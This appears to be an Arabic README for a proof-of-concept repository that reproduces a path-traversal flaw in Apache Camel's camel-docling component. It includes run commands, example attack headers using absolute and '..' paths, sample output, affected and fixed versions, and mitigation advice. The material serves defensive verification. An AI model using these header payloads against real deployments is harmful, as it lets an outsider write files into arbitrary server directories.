
أداة إثبات مفهوم قابلة للتشغيل لإعادة إنتاج CVE-2026-95629، وهو ثغرة اجتياز المسار (path-traversal) في Apache Camel camel-docling حيث يصل ترويسة output-path إلى وسيط --output الخاص بـ docling حرفيًا.
--output حرفيًامُعيد إنتاج قابل للتشغيل لإثبات المفهوم لثغرة Apache Camel حيث يقوم DoclingProducer، عند تشغيل
أداة docling الخارجية في وضع CLI (الوضع الافتراضي)، بتمرير قيمة ترويسة
CamelDoclingOutputFilePath إلى علم --output الخاص بـ docling حرفيًا: دون تطبيع، ويُقبل المسار المطلق
أو المسار الذي يحتوي على مقاطع .. كما هو، ولا يوجد خيار في نقطة النهاية قادر على تقييده.
| بيئة التشغيل | الدليل | المكدّس |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
يكتب Docling نتيجة التحويل — Markdown أو HTML أو JSON أو نص — في ذلك الدليل، ويسمّي الملف باسم ملف الإدخال، ثم يحذف المنتج بعد ذلك دليله المؤقت فقط، لذا يبقى الملف في مكانه. وبالتالي، يمكن لطرف قادر على تعيين الترويسة أن يتسبب في إنشاء مخرجات التحويل في أي دليل يمكن لعملية Camel الكتابة فيه.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
على إصدار متأثر (متطابق على كلا زمني التشغيل):
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
الفحص الرابع هو شكل المشكلة. رفض التحقق من الوسائط المخصصة الذي أضافه الإصلاح الخاص بـ
CVE-2026-40047 القيمتين --output و -o في
CamelDoclingCustomArguments وأخبر المستدعين باختيار دليل الإخراج باستخدام هذا الترويسة بدلاً من ذلك —
إذن القيمة الوحيدة التي تحدد مكان كتابة docling كانت القيمة الوحيدة التي تصل إلى سطر الأوامر دون تطبيق أي من
الفحوصات المطبقة على الوسائط المخصصة.
يفشل التبادل نفسه بعد الفحصين الثاني والثالث ("فشل بعد ذلك")، لأن المنتج يبحث حينها عن المخرجات المحوّلة في دليله المؤقت الخاص ولا يجدها هناك. هذا شكلي: فقد حدثت الكتابة بالفعل، وهو ما يُظهره سرد الملفات في النهاية.
لا حاجة إلى تثبيت docling. يشير خيار doclingCommand الخاص بنقطة النهاية إلى بديل تسجيلي لواجهة سطر الأوامر،
يسجّل متجه الوسائط الذي أُعطي له ويكتب ملفاً في أي مكان سمّاه --output، بالطريقة التي يفعلها docling. يعمل
DoclingProducer الحقيقي وaddOutputDirectoryArguments() الحقيقي.
فقط وضع CLI يستخدم هذه الترويسة؛ أما وضع docling-serve فلا يستخدمها.
تنتمي CamelDoclingOutputFilePath إلى نطاق ترويسات Camel، الذي يزيله المستهلكون الذين يطبّقون تصفية الترويسات
الافتراضية في Camel — مثل مستهلكي JMS وKafka — من الرسائل الواردة. تُبلَغ المشكلة حيث يمرّر مسار قيماً متأثرة
خارجياً إلى الترويسة، أو حيث يعيّن مستهلك الترويسات الواردة دون تلك التصفية.
محتوى الملف المكتوب هو تحويل المستند الذي تحمله الرسالة، لذا يُشكّله من يوفّر ذلك المستند دون أن يُكتب بايتاً ببايت؛ وعندما يصل المستند في جسم الرسالة، يخزّنه المنتج تحت اسم مؤقت عشوائي، يحمله ملف الإخراج بعد ذلك.
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22 (تقييد غير صحيح لاسم مسار إلى دليل محظور) |
| الخطورة | متوسطة |
| متجه الهجوم | دليل مطلق أو يحتوي على .. في ترويسة CamelDoclingOutputFilePath |
| التأثير | إنشاء مخرجات التحويل في أي دليل يمكن لعملية Camel الكتابة فيه |
| الإصدارات المتأثرة | من 4.15.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.2 |
| الإصدارات المُصلحة | 4.18.5، 4.22.2، 4.23.0 |
| JIRA | CAMEL-24894 |
| الفضل | Zhixi "Jace" Sun، باحث أمني مستقل |
الاستشارة: https://camel.apache.org/security/CVE-2026-95629.html
مشكلة شقيقة في المكوّن نفسه، ضمن موجة الإصدار نفسها: CVE-2026-95628 (قبول المسارات المطلقة كقيم للوسائط المخصصة).
تحصل الترويسة الآن على التطبيع نفسه واحتواء الدليل الأساسي الاختياري نفسه المطبّقين على مسارات الإدخال، عبر
resolveWithinOutputBaseDirectory(). لكن خيار نقطة النهاية outputBaseDirectory الذي يضيفه الإصلاح
غير مضبوط افتراضياً، وتقول وثائقه الخاصة إنه عندما يكون فارغاً، لا يُطبّق أي تقييد على الدليل
وتُطبَّع قيمة الترويسة فقط.
تم التحقق مقابل 4.22.1 → 4.22.2، مع ترك outputBaseDirectory غير مضبوط:
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
يبلّغ برنامج التشغيل عن هذه الحالة بشكل منفصل بدلًا من وصفها بأنها مُصلحة، لأنها الحالة التي ستقع فيها معظم عمليات النشر مباشرةً بعد الترقية. بعد الترقية، اضبط outputBaseDirectory على كل نقطة نهاية docling يمكن أن يحمل ترويستها قيمة متأثرة من الخارج.
أُصلحت على main في apache/camel#26737 (48485d40)، وأُعيد دمجها إلى camel-4.22.x في #27365 وإلى camel-4.18.x في #27362.
لا تبنِ CamelDoclingOutputFilePath من قيم تنشأ خارج عملية النشر؛ وأزل هذا الترويسة من الرسائل الواردة من الخارج قبل أن تصل إلى نقطة نهاية docling؛ وتأكد من أن المستهلكين الذين يعيّنون الترويسات الواردة يتخلّون عن نطاق ترويسات Camel.
نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.